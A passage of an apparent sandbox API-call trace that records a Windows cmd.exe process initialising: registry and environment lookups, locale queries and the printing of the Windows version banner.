"LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 2557 os_tid = 0x269c [0244.055] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff783ff0000 [0244.055] __set_app_type (_Type=0x1) [0244.055] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff784006d00) returned 0x0 [0244.055] __getmainargs (in: _Argc=0x7ff784029200, _Argv=0x7ff784029208, _Env=0x7ff784029210, _DoWildCard=0, _StartInfo=0x7ff78402921c | out: _Argc=0x7ff784029200, _Argv=0x7ff784029208, _Env=0x7ff784029210) returned 0 [0244.056] _onexit (_Func=0x7ff784007fd0) returned 0x7ff784007fd0 [0244.057] _onexit (_Func=0x7ff784007fe0) returned 0x7ff784007fe0 [0244.057] _onexit (_Func=0x7ff784007ff0) returned 0x7ff784007ff0 [0244.057] _onexit (_Func=0x7ff784008000) returned 0x7ff784008000 [0244.057] _onexit (_Func=0x7ff784008010) returned 0x7ff784008010 [0244.059] _onexit (_Func=0x7ff784008020) returned 0x7ff784008020 [0244.059] GetCurrentThreadId () returned 0x269c [0244.059] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x269c) returned 0x70 [0244.059] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffa96710000 [0244.059] GetProcAddress (hModule=0x7ffa96710000, lpProcName="SetThreadUILanguage") returned 0x7ffa9672a990 [0244.059] SetThreadUILanguage (LangId=0x0) returned 0x409 [0244.679] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0244.687] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x7d41d0fac8 | out: phkResult=0x7d41d0fac8*=0x0) returned 0x2 [0244.687] VirtualQuery (in: lpAddress=0x7d41d0fab4, lpBuffer=0x7d41d0fa30, dwLength=0x30 | out: lpBuffer=0x7d41d0fa30*(BaseAddress=0x7d41d0f000, AllocationBase=0x7d41c10000, AllocationProtect=0x4, __alignment1=0xffffc68a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0244.687] VirtualQuery (in: lpAddress=0x7d41c10000, lpBuffer=0x7d41d0fa30, dwLength=0x30 | out: lpBuffer=0x7d41d0fa30*(BaseAddress=0x7d41c10000, AllocationBase=0x7d41c10000, AllocationProtect=0x4, __alignment1=0xffffc68a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0244.687] VirtualQuery (in: lpAddress=0x7d41c11000, lpBuffer=0x7d41d0fa30, dwLength=0x30 | out: lpBuffer=0x7d41d0fa30*(BaseAddress=0x7d41c11000, AllocationBase=0x7d41c10000, AllocationProtect=0x4, __alignment1=0xffffc68a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0244.687] VirtualQuery (in: lpAddress=0x7d41c14000, lpBuffer=0x7d41d0fa30, dwLength=0x30 | out: lpBuffer=0x7d41d0fa30*(BaseAddress=0x7d41c14000, AllocationBase=0x7d41c10000, AllocationProtect=0x4, __alignment1=0xffffc68a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0244.688] VirtualQuery (in: lpAddress=0x7d41d10000, lpBuffer=0x7d41d0fa30, dwLength=0x30 | out: lpBuffer=0x7d41d0fa30*(BaseAddress=0x7d41d10000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffffc68a, RegionSize=0xf0000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0244.688] GetConsoleOutputCP () returned 0x1b5 [0245.304] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff78402fbb0 | out: lpCPInfo=0x7ff78402fbb0) returned 1 [0245.305] SetConsoleCtrlHandler (HandlerRoutine=0x7ff784018150, Add=1) returned 1 [0245.305] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0245.305] GetConsoleMode (in: hConsoleHandle=0xfa0, lpMode=0x7ff78402fc04 | out: lpMode=0x7ff78402fc04) returned 0 [0245.305] _get_osfhandle (_FileHandle=0) returned 0xf94 [0245.305] GetConsoleMode (in: hConsoleHandle=0xf94, lpMode=0x7ff78402fc00 | out: lpMode=0x7ff78402fc00) returned 0 [0245.305] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0245.305] SetConsoleMode (hConsoleHandle=0xfa0, dwMode=0x0) returned 0 [0245.305] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0245.305] GetConsoleMode (in: hConsoleHandle=0xfa0, lpMode=0x7ff78402fc08 | out: lpMode=0x7ff78402fc08) returned 0 [0245.305] _get_osfhandle (_FileHandle=0) returned 0xf94 [0245.305] GetConsoleMode (in: hConsoleHandle=0xf94, lpMode=0x7ff78402fc0c | out: lpMode=0x7ff78402fc0c) returned 0 [0245.305] GetEnvironmentStringsW () returned 0x24a1a695a40* [0245.305] GetProcessHeap () returned 0x24a1a690000 [0245.305] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0xab6) returned 0x24a1a696500 [0245.305] FreeEnvironmentStringsA (penv="=") returned 1 [0245.306] GetProcessHeap () returned 0x24a1a690000 [0245.306] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0x8) returned 0x24a1a695a40 [0245.306] GetEnvironmentStringsW () returned 0x24a1a696fd0* [0245.306] GetProcessHeap () returned 0x24a1a690000 [0245.306] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0xab6) returned 0x24a1a697a90 [0245.306] FreeEnvironmentStringsA (penv="=") returned 1 [0245.306] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x7d41d0e978 | out: phkResult=0x7d41d0e978*=0x7c) returned 0x0 [0245.306] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x7d41d0e970, lpData=0x7d41d0e990, lpcbData=0x7d41d0e974*=0x1000 | out: lpType=0x7d41d0e970*=0x0, lpData=0x7d41d0e990*=0x4, lpcbData=0x7d41d0e974*=0x1000) returned 0x2 [0245.306] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x7d41d0e970, lpData=0x7d41d0e990, lpcbData=0x7d41d0e974*=0x1000 | out: lpType=0x7d41d0e970*=0x4, lpData=0x7d41d0e990*=0x1, lpcbData=0x7d41d0e974*=0x4) returned 0x0 [0245.306] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x7d41d0e970, lpData=0x7d41d0e990, lpcbData=0x7d41d0e974*=0x1000 | out: lpType=0x7d41d0e970*=0x0, lpData=0x7d41d0e990*=0x1, lpcbData=0x7d41d0e974*=0x1000) returned 0x2 [0245.306] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x7d41d0e970, lpData=0x7d41d0e990, lpcbData=0x7d41d0e974*=0x1000 | out: lpType=0x7d41d0e970*=0x4, lpData=0x7d41d0e990*=0x0, lpcbData=0x7d41d0e974*=0x4) returned 0x0 [0245.306] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x7d41d0e970, lpData=0x7d41d0e990, lpcbData=0x7d41d0e974*=0x1000 | out: lpType=0x7d41d0e970*=0x4, lpData=0x7d41d0e990*=0x40, lpcbData=0x7d41d0e974*=0x4) returned 0x0 [0245.306] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x7d41d0e970, lpData=0x7d41d0e990, lpcbData=0x7d41d0e974*=0x1000 | out: lpType=0x7d41d0e970*=0x4, lpData=0x7d41d0e990*=0x40, lpcbData=0x7d41d0e974*=0x4) returned 0x0 [0245.306] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x7d41d0e970, lpData=0x7d41d0e990, lpcbData=0x7d41d0e974*=0x1000 | out: lpType=0x7d41d0e970*=0x0, lpData=0x7d41d0e990*=0x40, lpcbData=0x7d41d0e974*=0x1000) returned 0x2 [0245.306] RegCloseKey (hKey=0x7c) returned 0x0 [0245.307] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x7d41d0e978 | out: phkResult=0x7d41d0e978*=0x7c) returned 0x0 [0245.307] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x7d41d0e970, lpData=0x7d41d0e990, lpcbData=0x7d41d0e974*=0x1000 | out: lpType=0x7d41d0e970*=0x0, lpData=0x7d41d0e990*=0x40, lpcbData=0x7d41d0e974*=0x1000) returned 0x2 [0245.307] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x7d41d0e970, lpData=0x7d41d0e990, lpcbData=0x7d41d0e974*=0x1000 | out: lpType=0x7d41d0e970*=0x4, lpData=0x7d41d0e990*=0x1, lpcbData=0x7d41d0e974*=0x4) returned 0x0 [0245.307] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x7d41d0e970, lpData=0x7d41d0e990, lpcbData=0x7d41d0e974*=0x1000 | out: lpType=0x7d41d0e970*=0x0, lpData=0x7d41d0e990*=0x1, lpcbData=0x7d41d0e974*=0x1000) returned 0x2 [0245.307] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x7d41d0e970, lpData=0x7d41d0e990, lpcbData=0x7d41d0e974*=0x1000 | out: lpType=0x7d41d0e970*=0x4, lpData=0x7d41d0e990*=0x0, lpcbData=0x7d41d0e974*=0x4) returned 0x0 [0245.307] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x7d41d0e970, lpData=0x7d41d0e990, lpcbData=0x7d41d0e974*=0x1000 | out: lpType=0x7d41d0e970*=0x4, lpData=0x7d41d0e990*=0x9, lpcbData=0x7d41d0e974*=0x4) returned 0x0 [0245.307] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x7d41d0e970, lpData=0x7d41d0e990, lpcbData=0x7d41d0e974*=0x1000 | out: lpType=0x7d41d0e970*=0x4, lpData=0x7d41d0e990*=0x9, lpcbData=0x7d41d0e974*=0x4) returned 0x0 [0245.307] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x7d41d0e970, lpData=0x7d41d0e990, lpcbData=0x7d41d0e974*=0x1000 | out: lpType=0x7d41d0e970*=0x0, lpData=0x7d41d0e990*=0x9, lpcbData=0x7d41d0e974*=0x1000) returned 0x2 [0245.307] RegCloseKey (hKey=0x7c) returned 0x0 [0245.307] time (in: timer=0x0 | out: timer=0x0) returned 0x5ccc418e [0245.307] srand (_Seed=0x5ccc418e) [0245.307] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0245.307] malloc (_Size=0x4000) returned 0x24a1a915530 [0245.307] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0245.308] malloc (_Size=0xffce) returned 0x24a1a920080 [0245.308] ??_V@YAXPEAX@Z () returned 0x24a1a920080 [0245.308] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x24a1a920080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0245.309] malloc (_Size=0xffce) returned 0x24a1a930060 [0245.309] ??_V@YAXPEAX@Z () returned 0x24a1a930060 [0245.309] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x24a1a930060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0245.309] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff78402bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc [0245.310] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff78402bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0245.310] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff78402bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0245.310] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0245.310] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0245.310] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0245.310] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0245.310] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0245.310] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0245.310] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0245.310] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0245.310] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0245.310] GetProcessHeap () returned 0x24a1a690000 [0245.310] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a696500) returned 1 [0245.310] GetEnvironmentStringsW () returned 0x24a1a695a60* [0245.310] GetProcessHeap () returned 0x24a1a690000 [0245.310] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0xace) returned 0x24a1a696540 [0245.310] FreeEnvironmentStringsA (penv="=") returned 1 [0245.310] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff78402bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0245.310] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff78402bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0245.310] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0245.310] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0245.310] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0245.310] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0245.311] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0245.311] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0245.311] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0245.311] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0245.311] malloc (_Size=0xffce) returned 0x24a1a940040 [0245.311] ??_V@YAXPEAX@Z () returned 0x24a1a940040 [0245.311] GetProcessHeap () returned 0x24a1a690000 [0245.312] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0x38) returned 0x24a1a698580 [0245.312] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x24a1a940040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0245.312] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x24a1a940040, lpFilePart=0x7d41d0f4f0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x7d41d0f4f0*="system32") returned 0x13 [0245.312] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0245.312] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0x7d41d0f220 | out: lpFindFileData=0x7d41d0f220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x24a1a6985c0 [0245.312] FindClose (in: hFindFile=0x24a1a6985c0 | out: hFindFile=0x24a1a6985c0) returned 1 [0245.313] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x7d41d0f220 | out: lpFindFileData=0x7d41d0f220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x2b1f7a17, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x2b1f7a17, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0x24a1a6985c0 [0245.313] FindClose (in: hFindFile=0x24a1a6985c0 | out: hFindFile=0x24a1a6985c0) returned 1 [0245.313] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0245.313] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0245.313] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0245.313] GetProcessHeap () returned 0x24a1a690000 [0245.313] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a696540) returned 1 [0245.313] GetEnvironmentStringsW () returned 0x24a1a695a60* [0245.313] GetProcessHeap () returned 0x24a1a690000 [0245.313] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0xafe) returned 0x24a1a696570 [0245.313] FreeEnvironmentStringsA (penv="=") returned 1 [0245.313] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x24a1a920080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0245.313] GetProcessHeap () returned 0x24a1a690000 [0245.313] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a698580) returned 1 [0245.313] ??_V@YAXPEAX@Z () returned 0x1 [0245.313] ??_V@YAXPEAX@Z () returned 0x1 [0245.313] GetProcessHeap () returned 0x24a1a690000 [0245.313] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0x4016) returned 0x24a1a698580 [0245.314] GetProcessHeap () returned 0x24a1a690000 [0245.314] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a698580) returned 1 [0245.314] GetConsoleOutputCP () returned 0x1b5 [0245.760] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff78402fbb0 | out: lpCPInfo=0x7ff78402fbb0) returned 1 [0245.760] GetUserDefaultLCID () returned 0x409 [0245.760] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff78402bb78, cchData=8 | out: lpLCData=":") returned 2 [0245.760] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x7d41d0f8b0, cchData=128 | out: lpLCData="0") returned 2 [0245.760] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x7d41d0f8b0, cchData=128 | out: lpLCData="0") returned 2 [0245.760] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x7d41d0f8b0, cchData=128 | out: lpLCData="1") returned 2 [0245.760] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff78402bb68, cchData=8 | out: lpLCData="/") returned 2 [0245.760] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff78402bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0245.760] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff78402bac0, cchData=32 | out: lpLCData="Tue") returned 4 [0245.760] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff78402ba80, cchData=32 | out: lpLCData="Wed") returned 4 [0245.760] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff78402ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0245.760] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff78402ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0245.760] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff78402b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0245.760] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff78402b980, cchData=32 | out: lpLCData="Sun") returned 4 [0245.761] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff78402bb58, cchData=8 | out: lpLCData=".") returned 2 [0245.761] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff78402bb40, cchData=8 | out: lpLCData=",") returned 2 [0245.761] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0245.762] GetProcessHeap () returned 0x24a1a690000 [0245.762] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x0, Size=0x20c) returned 0x24a1a6970f0 [0245.762] GetConsoleTitleW (in: lpConsoleTitle=0x24a1a6970f0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0246.312] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0246.312] GetFileType (hFile=0xfa0) returned 0x3 [0246.313] ApiSetQueryApiSetPresence () returned 0x0 [0246.314] ResolveDelayLoadedAPI () returned 0x7ffa9070d990 [0246.322] BrandingFormatString () returned 0x24a1a6962f0 [0246.330] GetVersion () returned 0x3ad7000a [0246.330] _vsnwprintf (in: _Buffer=0x7d41d0fa10, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x7d41d0f9a8 | out: _Buffer="10.0.15063") returned 10 [0246.331] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0246.331] GetFileType (hFile=0xfa0) returned 0x3 [0246.331] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff784037f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0246.331] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff784037f60, nSize=0x2000, Arguments=0x7d41d0f9b0 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0246.331] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0246.331] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff784029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0246.331] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff784029970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x7d41d0f908, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesWritten=0x7d41d0f908*=0x26, lpOverlapped=0x0) returned 1 [0246.331] _vsnwprintf (in: _Buffer=0x7ff784037f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x7d41d0f9d8 | out: _Buffer="\r\n") returned 2 [0246.331] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0246.331] GetFileType (hFile=0xfa0) returned 0x3 [0246.331] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0246.331] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff784029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0246.331] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff784029970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x7d41d0f9a8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesWritten=0x7d41d0f9a8*=0x2, lpOverlapped=0x0) returned 1 [0246.331] _vsnwprintf (in: _Buffer=0x7ff784037f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0x7d41d0f9d8 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0246.331] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0246.331] GetFileType (hFile=0xfa0) returned 0x3 [0246.331] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0246.332] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff784029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0246.332] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff784029970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x7d41d0f9a8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesWritten=0x7d41d0f9a8*=0x34, lpOverlapped=0x0) returned 1 [0246.332] _vsnwprintf (in: _Buffer=0x7ff784037f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x7d41d0f9d8 | out: _Buffer="\r\n") returned 2 [0246.332] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0246.332] GetFileType (hFile=0xfa0) returned 0x3 [0246.332] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0246.332] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff784029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0246.332] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff784029970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x7d41d0f9a8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesWritten=0x7d41d0f9a8*=0x2, lpOverlapped=0x0) returned 1 [0246.332] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffa96710000 [0246.332] GetProcAddress (hModule=0x7ffa96710000, lpProcName="CopyFileExW") returned 0x7ffa9672e830 [0246.332] GetProcAddress (hModule=0x7ffa96710000, lpProcName="IsDebuggerPresent") returned 0x7ffa9672e300 [0246.332] GetProcAddress (hModule=0x7ffa96710000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffa961b0a40 [0246.332] ??_V@YAXPEAX@Z () returned 0x1 [0246.333] _get_osfhandle (_FileHandle=0) returned 0xf94 [0246.333] GetFileType (hFile=0xf94) returned 0x3 [0246.333] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0246.333] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x7d41d0f818 | out: TokenHandle=0x7d41d0f818*=0x0) returned 0xc000007c [0246.333] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x7d41d0f818 | out: TokenHandle=0x7d41d0f818*=0x94) returned 0x0 [0246.333] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x12, TokenInformation=0x7d41d0f7c8, TokenInformationLength=0x4, ReturnLength=0x7d41d0f7d0 | out: TokenInformation=0x7d41d0f7c8, ReturnLength=0x7d41d0f7d0) returned 0x0 [0246.333] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x1a, TokenInformation=0x7d41d0f7d0, TokenInformationLength=0x4, ReturnLength=0x7d41d0f7c8 | out: TokenInformation=0x7d41d0f7d0, ReturnLength=0x7d41d0f7c8) returned 0x0 [0246.333] NtClose (Handle=0x94) returned 0x0 [0246.334] _vsnwprintf (in: _Buffer=0x7ff784037f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x7d41d0f658 | out: _Buffer="\r\n") returned 2 [0246.334] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0246.334] GetFileType (hFile=0xfa0) returned 0x3 [0246.334] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0246.334] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff784029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0246.334] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff784029970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x7d41d0f628, lpOverlapped=0x0 | 